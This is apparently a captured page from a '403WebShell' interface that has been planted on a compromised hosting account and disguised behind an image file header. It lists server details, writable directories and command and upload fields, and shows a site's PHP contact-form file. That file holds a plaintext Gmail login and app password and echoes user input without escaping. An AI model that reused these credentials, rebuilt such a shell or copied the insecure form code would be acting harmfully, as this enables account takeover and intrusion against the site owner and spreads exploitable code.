����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.191.171.86
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/nkhwaziaeros.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/nkhwaziaeros.com/email.php
	<?php
    //Define name spaces
    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    //Include required phpMailer files
    require './PHPMailer/PHPMailer.php';
    require './PHPMailer/SMTP.php';
    require './PHPMailer/Exception.php';

    //Create instance of phpMailer
    $mail = new PHPMailer();
    //enable verbose debugg output
    // $mail->SMTPDebug = SMTP::DEBUG_SERVER; 
    //set mailer to use smtp
    $mail->isSMTP();
    //define smtp host
    $mail->Host = "smtp.gmail.com";
    //enable smtp authentification
    $mail->SMTPAuth = true;
    //set type of encryption (ssl/tls)	
    //TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
    //set port to connect smtp
    $mail->Port = 587; //587 for ssl
    //set gmail username
    $mail->Username = "beatonndaba@gmail.com";
    //set gmail password
    $mail->Password = "tsxngatucbssjwbm";

 	if(isset($_POST['submit_mail']))
	{
		$name=htmlentities($_POST['name']);
		$email=htmlentities($_POST['email']);
		$subject=htmlentities($_POST['subject']);
		$mobile=htmlentities($_POST['mobile']);
		$message=nl2br($_POST['message']);

        $message_format ="
        <!DOCTYPE html>
        <html lang=\"en\">
        <head>
            <meta charset=\"UTF-8\">
            <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
            <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
        </head>
        <body>
            <div style=\"box-shadow:0 0 5px 1px rgba(0,0,0,0.3);\">
                <div style=\"background-color:#328aad;color:#fff;text-align:center;font-size:16px;padding:6px;font-weight:bold;font-family:arial;\">
                    <div class=\"text-center bg-dark text-white\">NKHWAZI AEROS</div>
                </div>
                <h4>From $name</h4>
                <p>$message</p>
            </div>
        </body>
        </html>
        ";

        //Set email format to HTML
        $mail->isHTML(true);
        //set email subject
        $mail->Subject = "$subject";
        //set sender email
        $mail->setFrom("beatonndaba@gmail.com", "Nkhwazi Aeros");
        //reply to
		$mail->addReplyTo($email, $name);
        //Email body
        $mail->Body = $message_format;
        //Add recipient
        $mail->addAddress("nkhwaziaeros@gmail.com");

        //create session credentials
        $_SESSION['message'] = $message;
        $_SESSION['name'] = $name;
        $_SESSION['email'] = $email;
        $_SESSION['mobile'] = $mobile;
        $_SESSION['subject'] = $subject;

        //checking if all fields are field
		if(!empty($name) && !empty($email) && !empty($message) && !empty($mobile) && !empty($subject)){
            //checking if the email is valid
            if(preg_match('#^(([a-z0-9!\#$%&\\\'*+/=?^_`{|}~-]+\.?)*[a-z0-9!\#$%&\\\'*+/=?^_`{|}~-]+)@(([a-z0-9-_]+\.?)*[a-z0-9-_]+)\.[a-z]{2,}$#i', $email)) {
                if( $mail->Send() ) {

                    //clear session credentials
                    unset($_SESSION['name'],$_SESSION['email'],$_SESSION['mobile'],$_SESSION['subject'],$_SESSION['message']);
                    ?>
                    <script>
                        swal({icon:'success',text:'Message Sent'});
                    </script>
                    <?php

                } else {
                    ?>
                    <script>
                        swal("ERROR","Failed To Send Feedback Email. <br> Mailer Error: <?php echo $mail->ErrorInfo;?>","error");
                    </script>
                    <?php
                }
            } else {
                ?>
                <script>
                    swal("Warning","Email is not valid","warning");
                </script>
                <?php
            }
        } else {
            ?>
            <script>
                swal("OOPS","All fields are mandatory","warning");
            </script>
            <?php
        }
    } 

?>
 
<!-- The Modal -->
<div class="modal fade" id="message">
    <div class="modal-dialog modal-dialog-centered modal-lg">
        <div class="modal-content">
        
            <!-- Modal Header -->
            <div class="modal-header">
                <h4 class="modal-title">TALK TO US</h4>
            </div>
            
            <!-- Modal body -->
            <div class="modal-body">
                <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
                    <div class="row">
                        <div class="col-lg-6">
                            <input type="text" placeholder="Your Full Name" name="name" value="<?php echo isset($_SESSION['name']) ? $_SESSION['name'] : '';?>" required>
                        </div>
                        <div class="col-lg-6">
                            <input type="email" placeholder="Your Email Address" name="email" value="<?php echo isset($_SESSION['email']) ? $_SESSION['email'] : '';?>" required>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" placeholder="Your Subject" name="subject" value="<?php echo isset($_SESSION['subject']) ? $_SESSION['subject'] : '';?>" required>
                        </div>
                        <div class="col-lg-6">
                            <input type="text" placeholder="Your Phone Number" name="mobile" value="<?php echo isset($_SESSION['mobile']) ? $_SESSION['mobile'] : '';?>"required>
                        </div>
                        <div class="col-lg-12">
                            <textarea name="message" cols="30" rows="7" name="message" placeholder="How can we help you?" required><?php echo isset($_SESSION['message']) ? $_SESSION['message'] : '';?></textarea>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col">
                            <button type="submit" name="">SEND MESSAGE</button>
                        </div>
                    </div>
                </form>
            </div>
            
            <!-- Modal footer -->
            <div class="modal-footer">
            <button type="button" class="btn btn-secondary" data-dismiss="modal">Close &times;</button>
            </div>
            
        </div>
    </div>
</div> 

Youez - 2016 - github.com/yon3zu
LinuXploit